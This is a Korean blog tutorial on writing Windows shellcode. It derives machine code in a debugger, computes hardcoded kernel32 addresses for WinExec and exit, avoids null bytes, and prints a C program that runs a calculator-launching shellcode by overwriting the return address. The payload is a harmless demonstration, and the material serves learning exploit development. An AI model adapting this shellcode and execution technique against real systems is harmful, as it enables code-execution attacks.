본문 바로가기

[Exploit]

[Exploit] ShellCode 작성하기

간단히 쉘코드 만드는 방법입니다.



[그림.1]


간단히 cmd /c calc 명령을 실행해서 계산기를 띄우는 쉘코드를 작성 할 것입니다.

[그림.2]


우선 그림1에서 브레이크 포인트를 걸고 디버깅 모드로 전환하고나서 우측 마우스 클릭에 보면 어셈블리 항목이 있습니다.

그 항목으로 이동하면 그림.2와 같은 화면이 나오게 됩니다.

이 상태에서 또 우측 마우스 클릭을 하면 주소 표시, 소스코드 표시, 코드바이트 표시 등의 항목을 볼 수 가있는데 보시고 싶은 내용을 체크하면 다양하게 볼 수 있습니다.

이제 본격적인 쉘코드를 작성하겠습니다.

우선 쉘코드는 최대한 간략하게 코드를 최소화 시켜서 만들어 주는게 좋습니다.

그림.2에서 체크박스 안의 코드만 잘라서 메모장에 붙여 넣습니다.

그런데 하단 call쪽에 보면 WinExec,exit함수를 호출하는 부분을 그대로 사용하면 코드가 동작하지 않습니다. 

저 함수가 사용되는 주소를 알아내야 합니다.


[그림.3]


dependency walker 툴을 다운 받고 실행합니다.

shellcode test.exe 프로그램에서 Winexec와 exit함수를 사용하는데 이 함수들은 Kernel32.dll에서 지원을 해줘서 가저다 쓰는겁니다.

dependency walker로 해당 프로그램을 열고 연결되어있는 Kernel32.dll을 열면 함수리스트가 나오는데 여기서 winexec와 exit 함수를 찾습니다.

찾은 함수 오른쪽에 보면 함수 주소가 나와있는데 저 상태의 함수주소를 사용하면 실행이 되지 않습니다.

kernel32.dll 의 image base + 함수주소 를 사용해야합니다.


winexec 주소 : 0x00062585 + 0x7c7d0000 = 0x7C832585

exit 주소 : 0x0001d20a + 0x7c7d0000 = 0x7C7ED20A




[그림.4]


각각 사용된 함수 주소를 얻었고 이제 그림4와같이 코드를 작성하고 다시 그림.2의 과정을 반복합니다. 

그러면 그림.2에서 왼쪽 코드를 보면 기계어 코드를 볼수있습니다. 저 코드를 다시 메모장으로 복사합니다.


[그림.5]

기계어 코드를 만들기전에 주의 사항이 있습니다. 

쉘코드 내에 00 널문자가 들어가지 않게 해야합니다.

만약 이 00가 코드 안에 들어가게되면 코드를 실행시키다가 00을 만나는 순간 코드의 끝으로 인식하여 프로그램 실행을 멈추게 됩니다.

하지만 bufferover flow를 구현할 때 "\xC6\x45\xFE\x63" 코드 뒤에 쓰레기 문자가 값이 들어갑니다.

이때 쓰레기 문자값에 00을 넣어주면 실행 되는데 00을 넣으면 코드가 거기서 끝나버리고 뒤의 코드를 실행 하지 못하게됩니다.

이런 경우 "\x20"(스페이스)와 같은 값을 넣어주면 실행 됩니다.

자세한 설명은 bufferover flow 취약점에서 설명하겠습니다.


[그림.6]


그림.6과 같이 코드에서 사용할 수 있도록 "\x" 로 묶어줍니다.

<최종 완성된 코드>


#include<windows.h>

#include<stdlib.h>


char shellcode[] = "\x55"

"\x8B\xEC"

"\x83\xEC\x0C"

"\xC6\x45\xF4\x63"

"\xC6\x45\xF5\x6D"

"\xC6\x45\xF6\x64"

"\xC6\x45\xF7\x20"

"\xC6\x45\xF8\x2F"

"\xC6\x45\xF9\x63"

"\xC6\x45\xFA\x20"

"\xC6\x45\xFB\x63"

"\xC6\x45\xFC\x61"

"\xC6\x45\xFD\x6C"

"\xC6\x45\xFE\x63"

"\x6A\x01"

"\x8D\x45\xF4"

"\x50"

"\xB8\x85\x25\x83\x7C"

"\xFF\xD0"

"\x6A\x01"

"\xB8\x0A\xD2\x7E\x7C"

"\xFF\xD0";


void main()

{

int *ret;

ret = (int*)&ret+2;

(*ret)=(int)shellcode;


/*

int *code;  

    code = (int *)shellcode;  

    

__asm 

{  

        jmp code;  

    }  


*/

}


최종적으로 완성된 코드 입니다.


[그림.7]


최종적으로 완성된 코드로 실행을 해봅니다.

하지만.... 계산기가 뜨지 않습니다. 

이때부터 띄우기위해 고민을 합니다. 하지만.. 모르겠습니다 ㅠㅠ

그래서 ollydbg로 코드를 보는데 쉘코드쪽 코드가 중간중간 생략되어 버립니다.

아! 혹시 이거... 컴파일러에서 코드최적화 해버린게 아닐까 해서 vs 옵션을 건드려 봅니다.


[그림.8]


우선 release모드로 변경 -> 프로젝트 속성 -> 최적화 -> 사용안함 세팅

그리고 실행하면..

[그림.9]


짠~! 계산기가 떴습니다~

예상했던 결과대로 코드최적화 문제였습니다.

코드최적화로 컴파일을 하게되면 컴파일러에서 쉘코드를 맘대로 최적화 시켜버려 코드가 꼬이게 됩니다.

그래서 실행이 되지 않았던 문제였습니다.

이때는 그림.8과 같이 컴파일러 옵션만 설정하고 실행하면 정상적으로 쉘코드가 동작합니다.



'[Exploit]' 카테고리의 다른 글

[Exploit] BufferOver Flow - Easy Rm to MP3 Converter  (2) 2013.07.25